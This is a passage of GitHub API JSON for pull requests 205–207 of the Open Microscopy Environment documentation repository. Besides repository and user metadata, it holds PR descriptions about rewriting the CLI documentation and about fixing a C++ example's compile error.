rl":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"e37ed12e664defb381f7726c8931484693770989","ref":"rebased/develop/2571_cli_improvements"},"assignee":null,"updated_at":"2013-01-15T20:04:10Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/207/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/207/commits","closed_at":"2013-01-15T20:04:10Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/207","merged_at":"2013-01-15T20:04:10Z","merge_commit_sha":"43f6e415f4faf967ac93a94135843876437e48d7","created_at":"2013-01-14T08:49:46Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/207/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/207.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/207","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-179 but rebased onto develop.\n\n----\n\nThis PR was originally meant to document the CLI changes of openmicroscopy/openmicroscopy#498 and openmicroscopy/openmicroscopy#514. Since the Command Line Interface documentation had been directly imported from trac, I ended up significantly rewriting the CLI documentation with the help of @ximenesuk.\r\n\r\nSummary of main changes:\r\n- CLI documentation is now split into three pages (users, sysadmins, developers)\r\n- User documentation currently describes `sessions` & `import` plugins\r\n- Sysadmin documentation currently describes `config`, `db`, `admin`, `user` & `group` plugins\r\n- A new role `:omerocmd:` is defined in conf.py which turns CLI commands into bold face and create an entry in the generated index.\r\n\r\nNote: this PR documents changes occuring in the `dev_4_4` branch post the `v.4.4.5` tag. Thus it should only be be released together with the code release and should not be merged until a full release is scheduled.\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/207.diff","id":3659910,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"5c0fcbe7f0fd8bd70c31f9e29b9ce5378e2726c3","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/206/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/206"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/206"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/206"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/206/comments"}},"title":"Fixed forward declartion incomplete type error in c++ example code","state":"closed","number":206,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/206","head":{"user":{"type":"User","url":"https://api.github.com/users/dpwrussell","received_events_url":"https://api.github.com/users/dpwrussell/received_events","login":"dpwrussell","events_url":"https://api.github.com/users/dpwrussell/events{/privacy}","organizations_url":"https://api.github.com/users/dpwrussell/orgs","avatar_url":"https://secure.gravatar.com/avatar/bcb60819fb3f875de3d2701ee5642e17?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/dpwrussell/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/dpwrussell/gists{/gist_id}","gravatar_id":"bcb60819fb3f875de3d2701ee5642e17","followers_url":"https://api.github.com/users/dpwrussell/followers","id":1889043,"repos_url":"https://api.github.com/users/dpwrussell/repos","subscriptions_url":"https://api.github.com/users/dpwrussell/subscriptions","following_url":"https://api.github.com/users/dpwrussell/following"},"label":"dpwrussell:dev_4_4","repo":{"forks":0,"svn_url":"https://github.com/dpwrussell/ome-documentation","merges_url":"https://api.github.com/repos/dpwrussell/ome-documentation/merges","languages_url":"https://api.github.com/repos/dpwrussell/ome-documentation/languages","assignees_url":"https://api.github.com/repos/dpwrussell/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/dpwrussell/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/dpwrussell/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/dpwrussell/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/dpwrussell","received_events_url":"https://api.github.com/users/dpwrussell/received_events","login":"dpwrussell","events_url":"https://api.github.com/users/dpwrussell/events{/privacy}","organizations_url":"https://api.github.com/users/dpwrussell/orgs","avatar_url":"https://secure.gravatar.com/avatar/bcb60819fb3f875de3d2701ee5642e17?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/dpwrussell/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/dpwrussell/gists{/gist_id}","gravatar_id":"bcb60819fb3f875de3d2701ee5642e17","followers_url":"https://api.github.com/users/dpwrussell/followers","id":1889043,"repos_url":"https://api.github.com/users/dpwrussell/repos","subscriptions_url":"https://api.github.com/users/dpwrussell/subscriptions","following_url":"https://api.github.com/users/dpwrussell/following"},"open_issues":0,"updated_at":"2013-01-14T20:49:36Z","milestones_url":"https://api.github.com/repos/dpwrussell/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/dpwrussell/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/dpwrussell/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/dpwrussell/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/dpwrussell/ome-documentation/events","notifications_url":"https://api.github.com/repos/dpwrussell/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/dpwrussell/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/dpwrussell/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/dpwrussell/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/dpwrussell/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/dpwrussell/ome-documentation/collaborators{/collaborator}","full_name":"dpwrussell/ome-documentation","ssh_url":"git@github.com:dpwrussell/ome-documentation.git","pulls_url":"https://api.github.com/repos/dpwrussell/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/dpwrussell/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/dpwrussell/ome-documentation/subscription","teams_url":"https://api.github.com/repos/dpwrussell/ome-documentation/teams","watchers":0,"created_at":"2013-01-11T16:28:07Z","git_url":"git://github.com/dpwrussell/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/dpwrussell/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/dpwrussell/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/dpwrussell/ome-documentation/keys{/key_id}","size":132,"compare_url":"https://api.github.com/repos/dpwrussell/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/dpwrussell/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/dpwrussell/ome-documentation/hooks","fork":true,"html_url":"https://github.com/dpwrussell/ome-documentation","master_branch":"develop","clone_url":"https://github.com/dpwrussell/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/dpwrussell/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/dpwrussell/ome-documentation/issues/events{/number}","private":false,"id":7562962,"default_branch":"develop","pushed_at":"2013-01-11T17:05:00Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/dpwrussell/ome-documentation/forks"},"sha":"4033810988777c8f905e44f627a398640df2ed05","ref":"dev_4_4"},"assignee":null,"updated_at":"2013-01-14T20:49:36Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/206/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/206/commits","closed_at":"2013-01-14T20:49:36Z","user":{"type":"User","url":"https://api.github.com/users/dpwrussell","received_events_url":"https://api.github.com/users/dpwrussell/received_events","login":"dpwrussell","events_url":"https://api.github.com/users/dpwrussell/events{/privacy}","organizations_url":"https://api.github.com/users/dpwrussell/orgs","avatar_url":"https://secure.gravatar.com/avatar/bcb60819fb3f875de3d2701ee5642e17?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/dpwrussell/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/dpwrussell/gists{/gist_id}","gravatar_id":"bcb60819fb3f875de3d2701ee5642e17","followers_url":"https://api.github.com/users/dpwrussell/followers","id":1889043,"repos_url":"https://api.github.com/users/dpwrussell/repos","subscriptions_url":"https://api.github.com/users/dpwrussell/subscriptions","following_url":"https://api.github.com/users/dpwrussell/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/206","merged_at":"2013-01-14T20:49:36Z","merge_commit_sha":"591c4b608e04a3e6f7da4d599f6761f7111c53b3","created_at":"2013-01-11T17:12:07Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/206/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/206.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/206","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"Compiling the existing example code results in an incomplete type error as omero/client.h includes omero/ServicesF.h which forward declares IAdmin\r\n\r\nFix by including omero/api/IAdmin.h\r\n\r\n```\r\ng++ -c -o yourcode.o yourcode.cpp -I/home/dpwrussell/Ice/omero/OMERO.cpp-4.4.5-ice33-posix-gcc-4.6.3-64dbg/include -I/home/dpwrussell/Ice/home/Ice-3.3.1//include \r\nyourcode.cpp: In function ‘int main(int, char**)’:\r\nyourcode.cpp:30:18: error: invalid use of incomplete type ‘struct IceProxy::omero::api::IAdmin’\r\n/home/dpwrussell/Ice/omero/OMERO.cpp-4.4.5-ice33-posix-gcc-4.6.3-64dbg/include/omero/ServicesF.h:60:7: error: forward declaration of ‘struct IceProxy::omero::api::IAdmin’\r\nmake: *** [yourcode.o] Error 1\r\n```","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/206.diff","id":3642598,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"0250249b48e2df6daf8fcaa9d4508a5bc744117a","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/205/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/205"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/205"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/205"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/205/comments"}},"title":"Fix typo and broken links. (rebased onto develop)","state":"closed","number":205,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/205","head":{"user":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/jburel/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jburel/gists{/gist_id}","gravatar_id":"e1f7a610652e5e71eda0b0b8381c3f98","followers_url":"https://api.github.com/users/jburel/followers","id":1022396,"repos_url":"https://api.github.com/users/jburel/repos","subscriptions_url":"https://api.github.com/users/jburel/subscriptions","following_url":"https://api.github.com/users/jburel/following"},"label":"jburel:rebased/develop/script-doc","repo":{"forks":0,"svn_url":"https://github.com/jburel/ome-documentation","merges_url":"https://api.github.com/repos/jburel/ome-documentation/merges","languages_url":"https://api.github.com/repos/jburel/ome-documentation/languages","assignees_url":"https://api.github.com/repos/jburel/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/jburel/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/jburel/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/jburel/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/jburel/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jburel/gists{/gist_id}","gravatar_id":"e1f7a610652e5e71eda0b0b8381c3f98","followers_url":"https://api.github.com/users/jburel/followers","id":1022396,"repos_url":"https://api.github.com/users/jburel/repos","subscriptions_url":"https://api.github.com/users/jburel/subscriptions","following_url":"https://api.github.com/users/jburel/following"},"open_issues":0,"updated_at":"2013-01-18T09:49:33Z","milestones_url":"https://api.github.com/repos/jburel/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/jburel/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/jburel/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/jburel/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/jburel/ome-documentation/events","notifications_url":"https://api.github.com/repos/jburel/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/jburel/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/jburel/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/jburel/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/jburel/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/jburel/ome-documentation/collaborators{/collaborator}","full_name":"jburel/ome-documentation","ssh_url":"git@github.com:jburel/ome-documentation.git","pulls_url":"https://api.github.com/repos/jburel/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/jburel/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/jburel/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/jburel/ome-documentation/subscription","teams_url":"https://api.github.com/repos/jburel/ome-documentation/teams","watchers":2,"created_at":"2012-01-17T14:12:05Z","git_url":"git://github.com/jburel/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/jburel/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/jburel/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/jburel/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/jburel/ome-documentation/keys{/key_id}","size":292,"compare_url":"https://api.github.com/repos/jburel/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/jburel/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/jburel/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/jburel/ome-documentation/hooks","fork":true,"html_url":"https://github.com/jburel/ome-documentation","clone_url":"https://github.com/jburel/ome-documentation.git","watchers_count":2,"git_refs_url":"https://api.github.com/repos/jburel/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":null,"contents_url":"https://api.github.com/repos/jburel/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/jburel/ome-documentation/issues/events{/number}","private":false,"id":3199804,"pushed_at":"2013-01-16T19:23:39Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/jburel/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/jburel/ome-documentation/forks"},"sha":"90bea8f261ad2637ba3ccaaaa2c50714475c1054","ref":"rebased/develop/script-doc"},"assignee":null,"updated_at":"2013-01-14T08:20:15Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/205/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/205/commits","closed_at":"2013-01-14T08:20:15Z","user":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=